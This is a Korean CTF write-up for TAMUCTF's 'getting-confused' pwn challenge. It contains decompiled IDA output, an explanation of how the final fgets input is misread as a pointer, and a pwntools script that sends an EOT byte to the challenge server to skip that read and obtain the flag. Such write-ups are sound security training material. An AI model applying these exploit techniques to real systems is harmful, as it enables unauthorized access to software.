oot@kali:/work/myspace/TAMUCTF/pwn/GETTING_CONFUSED# ./getting-confused
Howdy! First floor.
howdy
Thanks and...
gig 'em
What's our secret way of knowing when another one of us is in a crowd?
123
세그멘테이션 오류
root@kali:/work/myspace/TAMUCTF/pwn/GETTING_CONFUSED#
문자열('howdy'
, 'gig 'em'
)을 입력받고
마지막 입력에서 segment fault가 발생한다.
IDA로 확인해보자
int __cdecl main(int argc, const char **argv, const char **envp)
{
st *p_heap; // rax@7
__int64 v4; // rbx@7
__int64 v5; // rbx@7
__int64 v6; // rbx@7
__int64 v7; // rbx@7
FILE *stream; // ST08_8@10
int result; // eax@10
__int64 v10; // rbx@10
char dst[8]; // [sp+10h] [bp-A0h]@1
__int64 v12; // [sp+18h] [bp-98h]@7
__int64 v13; // [sp+20h] [bp-90h]@7
__int64 v14; // [sp+28h] [bp-88h]@7
__int64 v15; // [sp+30h] [bp-80h]@7
__int64 v16; // [sp+38h] [bp-78h]@7
__int64 v17; // [sp+40h] [bp-70h]@7
__int64 v18; // [sp+48h] [bp-68h]@7
const char *s[9]; // [sp+50h] [bp-60h]@1
__int64 v20; // [sp+98h] [bp-18h]@1
v20 = *MK_FP(__FS__, 40LL);
puts("Howdy! First floor.");
fgets(s, 64, stdin);
strcpy(dst, "howdy\n");
if ( strcmp(s, dst) )
{
puts("How 2%er of you.");
exit(1);
}
puts("Thanks and...");
fgets(s, 64, stdin);
strcpy(dst, "gig 'em\n");
if ( strcmp(s, dst) )
{
puts("How 2%er of you.");
exit(1);
}
앞서 확인한 'howdy'
와 'gig 'em
을 입력받는 코드이다.
특별한 것 없다.
strcpy(dst, "whoop\n");
p_heap = malloc(0x40uLL);
s[0] = p_heap;
v4 = v12;
p_heap->field_0 = *dst;
p_heap->field_8 = v4;
v5 = v14;
p_heap->field_10 = v13;
p_heap->field_18 = v5;
v6 = v16;
p_heap->field_20 = v15;
p_heap->field_28 = v6;
v7 = v18;
p_heap->field_30 = v17;
p_heap->field_38 = v7;
puts("What's our secret way of knowing when another one of us is in a crowd?");
fgets(s, 64, stdin);
if ( strcmp(s[0], dst) )
{
puts("Begone, 2%er!");
exit(1);
}
stream = fopen("flag.txt", "r");
fgets(s, 64, stream);
puts(s);
fclose(stream);
result = 0;
v10 = *MK_FP(__FS__, 40LL) ^ v20;
return result;
}
다음으로 마지막 입력을 받는 코드이다.
순서는 다음과 같다.
'whoop'
으로 설정한다.s[0]
과 'whoop'
을 비교한다.중요한 것은 마지막에 s[0]
과 'whoop'
을 비교한다는 것이다.
s[0]
이 무엇을 나타낼까?
우리가 입력한 값은 s
에 저장한다.
이전에는 strcmp(s, dst)
형태로 비교가 되었다.
그런데 갑자기 s[0]
과 비교를 하니 이해가 되지 않았다.
어셈블리로 확인해봤다.
s[0]
은 우리가 마지막에 입력한 값의 앞의 4자리를 의미했다.
우리가 마지막 입력한 값은 접근할 수 없는 주소이므로 세그먼트 폴트가 발생한 것이었다.
그렇다면 문제를 풀기위해 어떻게 해야할까?
'whoop'
이 위치한 주소값을 입력하면 되겠다.
하지만
'whoop'
이 위치한 상수 주소값, 스택에 저장된 주소값, 힙에 저장된 주소값 모두 대입해봤지만 실패했다.
아마 서버에서 aslr이 적용되있다고 볼 수밖에 없었다.
다른 pwnable 문제를 풀어보면서 얼핏 알고있던 방법이다.
페이로드를 쉘에서 입력하기 위해 python -c print
를 사용할 경우
fgets
가 스킵될 때가 있었다.
마지막 fgets
가 스킵되도록 파이썬으로 페이로드를 입력하되, 파이프로 그 값을 넘겨주었다.
로컬에서 시도해보았다.
성공했다.
하지만 nc로 서버에 접속하는 명령어로 넘겨주면 실패했다.
로컬과 다르게 마지막 fgets
가 스킵되지 않는 것 같다.
그렇다면 fgets
를 스킵시킬 수 있는 방법을 찾아야 했다.
답은 EOT 문자였다.
EOT는 End of Text로 Text 전송이 끝났다는 걸 의미한다.
(검색해도 나오지 않아 브루트포스로 하나씩 문자를 대입해보며 확인한 결과다.)
어쨌든 원인을 찾음과 동시에 플래그값도 획득할 수 있었다.
작성한 코드는 다음과 같다.
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
def main():
e = ELF('./getting-confused')
#p = process('./getting-confused')
for lb in range(00, 0x100):
p = remote('challenges.tamuctf.com', 4352)
sleep(1)
p.send('howdy\n')
sleep(1)
p.send('gig \'em\n')
sleep(1)
#p.send(bytearray([lb, 0x0a]).decode('utf-8'))
p.send('\x04')
sleep(1)
v_recv =p.recv(1024)
print v_recv
'''
if v_recv.find('gigem') != -1:
print v_recv
raw_input('bytes: ' + str(bytearray([lb, 0x0a])))
break
'''
if __name__ == '__main__':
main()